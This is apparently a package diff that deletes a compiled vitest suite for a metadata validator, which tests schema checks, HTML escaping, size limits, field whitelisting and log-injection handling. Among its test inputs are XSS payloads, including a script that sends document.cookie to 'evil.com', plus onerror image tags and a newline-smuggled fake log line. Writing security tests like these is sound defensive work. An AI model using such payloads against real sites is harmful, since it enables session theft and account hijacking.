AC,EAAE,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,CAAA;IAC3C,CAAC,CAAC,CAAA;AACJ,CAAC,CAAC,CAAA"}

package/dist/__tests__/runtime/metadata-validation.test.d.ts

@@ -1,2 +0,0 @@
-export {};
-//# sourceMappingURL=metadata-validation.test.d.ts.map

package/dist/__tests__/runtime/metadata-validation.test.d.ts.map

@@ -1 +0,0 @@
-{"version":3,"file":"metadata-validation.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/runtime/metadata-validation.test.ts"],"names":[],"mappings":""}

package/dist/__tests__/runtime/metadata-validation.test.js

@@ -1,191 +0,0 @@
-// Sprint 1 Day 8: Metadata Validation Tests
-// Threat T4 Mitigation: Metadata Injection Attacks (Medium/P1)
-import { describe, expect, it } from 'vitest';
-import * as MetadataValidator from '../../../packages/rescript-core/src/security/MetadataValidator.bs.js';
-describe('Metadata Schema Validation', () => {
-    it('validates metadata against taskMetadataSchema successfully', () => {
-        const validMetadata = {
-            taskId: 'task-123',
-            manifestVersion: 'v1.0',
-            attempt: 1,
-            retryCount: 0,
-            requestedBy: 'user@example.com',
-            tags: ['urgent', 'production'],
-            priority: 'high'
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, validMetadata);
-        expect(report.valid).toBe(true);
-        expect(report.errors.length).toBe(0);
-    });
-    it('rejects metadata with missing required fields', () => {
-        const invalidMetadata = {
-            // Missing required 'taskId' field
-            manifestVersion: 'v1.0',
-            attempt: 1
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, invalidMetadata);
-        expect(report.valid).toBe(false);
-        expect(report.errors.length).toBeGreaterThan(0);
-        expect(report.errors[0]).toContain("Required field 'taskId' is missing");
-    });
-    it('rejects metadata with invalid field types', () => {
-        const invalidMetadata = {
-            taskId: 'task-123',
-            attempt: 'not-a-number', // Should be number
-            priority: 'high'
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, invalidMetadata);
-        expect(report.valid).toBe(false);
-        expect(report.errors.some(err => err.includes("invalid type"))).toBe(true);
-    });
-    it('rejects metadata with fields exceeding max length', () => {
-        const invalidMetadata = {
-            taskId: 'task-123',
-            requestedBy: 'x'.repeat(200) // Exceeds 128 char limit
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, invalidMetadata);
-        expect(report.valid).toBe(false);
-        expect(report.errors.some(err => err.includes("exceeds maximum length"))).toBe(true);
-    });
-    it('rejects metadata with arrays exceeding max items', () => {
-        const invalidMetadata = {
-            taskId: 'task-123',
-            tags: Array(15).fill('tag') // Exceeds 10 item limit
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, invalidMetadata);
-        expect(report.valid).toBe(false);
-        expect(report.errors.some(err => err.includes("exceeds maximum items"))).toBe(true);
-    });
-});
-describe('HTML Escaping & Sanitization', () => {
-    it('escapes HTML special characters to prevent XSS', () => {
-        const maliciousInput = '<script>alert("XSS")</script>';
-        const escaped = MetadataValidator.escapeHtml(maliciousInput);
-        expect(escaped).toBe('&lt;script&gt;alert(&quot;XSS&quot;)&lt;&#x2F;script&gt;');
-        expect(escaped).not.toContain('<script>');
-    });
-    it('sanitizes string metadata values recursively', () => {
-        const metadata = {
-            taskId: '<img src=x onerror=alert(1)>',
-            requestedBy: 'user@example.com',
-            tags: ['<b>bold</b>', 'normal-tag']
-        };
-        const sanitized = MetadataValidator.sanitizeMetadata(metadata);
-        const taskId = sanitized.taskId;
-        expect(typeof taskId).toBe('string');
-        // In the sanitized object, HTML should be escaped
-        const sanitizedTaskId = JSON.stringify(sanitized.taskId);
-        expect(sanitizedTaskId).toContain('&lt;');
-    });
-    it('preserves non-string values during sanitization', () => {
-        const metadata = {
-            taskId: 'task-123',
-            attempt: 5,
-            retryCount: 2,
-            priority: 'high'
-        };
-        const sanitized = MetadataValidator.sanitizeMetadata(metadata);
-        expect(sanitized.attempt).toBe(5);
-        expect(sanitized.retryCount).toBe(2);
-    });
-});
-describe('Size Limits', () => {
-    it('accepts metadata within 10KB size limit', () => {
-        const validMetadata = {
-            taskId: 'task-123',
-            requestedBy: 'user@example.com',
-            tags: ['tag1', 'tag2', 'tag3']
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, validMetadata);
-        expect(report.valid).toBe(true);
-    });
-    it('rejects metadata exceeding 10KB size limit', () => {
-        const oversizedMetadata = {
-            taskId: 'task-123',
-            // Create a large string (>10KB)
-            requestedBy: 'x'.repeat(11000)
-        };
-        const size = MetadataValidator.calculateMetadataSize(oversizedMetadata);
-        expect(size).toBeGreaterThan(MetadataValidator.maxMetadataSizeBytes);
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, oversizedMetadata);
-        expect(report.valid).toBe(false);
-        expect(report.errors.some(err => err.includes("exceeds maximum allowed"))).toBe(true);
-    });
-});
-describe('Field Whitelisting', () => {
-    it('removes unknown fields from metadata', () => {
-        const metadataWithUnknownFields = {
-            taskId: 'task-123',
-            manifestVersion: 'v1.0',
-            unknownField1: 'should-be-removed',
-            maliciousField: '<script>alert(1)</script>',
-            anotherUnknown: 'also-removed'
-        };
-        const whitelisted = MetadataValidator.whitelistFields(MetadataValidator.taskMetadataSchema, metadataWithUnknownFields);
-        expect(whitelisted.taskId).toBe('task-123');
-        expect(whitelisted.manifestVersion).toBe('v1.0');
-        expect(whitelisted.unknownField1).toBeUndefined();
-        expect(whitelisted.maliciousField).toBeUndefined();
-        expect(whitelisted.anotherUnknown).toBeUndefined();
-    });
-    it('reports removed fields in validation warnings', () => {
-        const metadataWithUnknownFields = {
-            taskId: 'task-123',
-            unknownField1: 'value1',
-            unknownField2: 'value2'
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, metadataWithUnknownFields);
-        expect(report.warnings.length).toBeGreaterThan(0);
-        expect(report.warnings[0]).toContain('Removed');
-        expect(report.warnings[0]).toContain('unknown fields');
-    });
-});
-describe('Complete Validation Pipeline - Threat T4 Integration', () => {
-    it('validates, sanitizes, and whitelists metadata in single operation', () => {
-        const rawMetadata = {
-            taskId: 'task-<script>alert(1)</script>',
-            manifestVersion: 'v1.0',
-            attempt: 1,
-            requestedBy: 'user@example.com',
-            tags: ['<b>urgent</b>', 'production'],
-            priority: 'high',
-            unknownField: 'should-be-removed'
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, rawMetadata);
-        // Should be valid after sanitization and whitelisting
-        expect(report.valid).toBe(true);
-        // Sanitized metadata should have HTML escaped
-        const sanitizedTaskId = JSON.stringify(report.sanitized.taskId);
-        expect(sanitizedTaskId).toContain('&lt;');
-        expect(sanitizedTaskId).not.toContain('<script>');
-        // Unknown fields should be removed
-        expect(report.sanitized.unknownField).toBeUndefined();
-        expect(report.warnings.length).toBeGreaterThan(0);
-    });
-    it('prevents XSS in effect payload tampering scenario', () => {
-        // Simulate attacker attempting to inject XSS via metadata
-        const maliciousMetadata = {
-            taskId: 'task-123',
-            requestedBy: '"><script>fetch("evil.com?cookie="+document.cookie)</script>',
-            tags: ['<img src=x onerror=alert(document.domain)>'],
-            priority: 'high'
-        };
-        const report = MetadataValidator.validateMetadata(MetadataValidator.taskMetadataSchema, maliciousMetadata);
-        expect(report.valid).toBe(true);
-        // All XSS vectors should be neutralized
-        const sanitizedRequestedBy = JSON.stringify(report.sanitized.requestedBy);
-        expect(sanitizedRequestedBy).not.toContain('<script>');
-        expect(sanitizedRequestedBy).toContain('&lt;');
-    });
-    it('prevents log injection attacks via newline smuggling', () => {
-        const metadata = {
-            taskId: 'task-123\nINFO: ADMIN ACCESS GRANTED', // Attempt to inject fake log entry
-            priority: 'high'
-        };
-        const sanitized = MetadataValidator.sanitizeMetadata(metadata);
-        // Sanitized string should be trimmed and escaped
-        const sanitizedTaskId = MetadataValidator.sanitizeString(metadata.taskId);
-        expect(sanitizedTaskId).not.toContain('\n');
-    });
-});
-//# sourceMappingURL=metadata-validation.test.js.map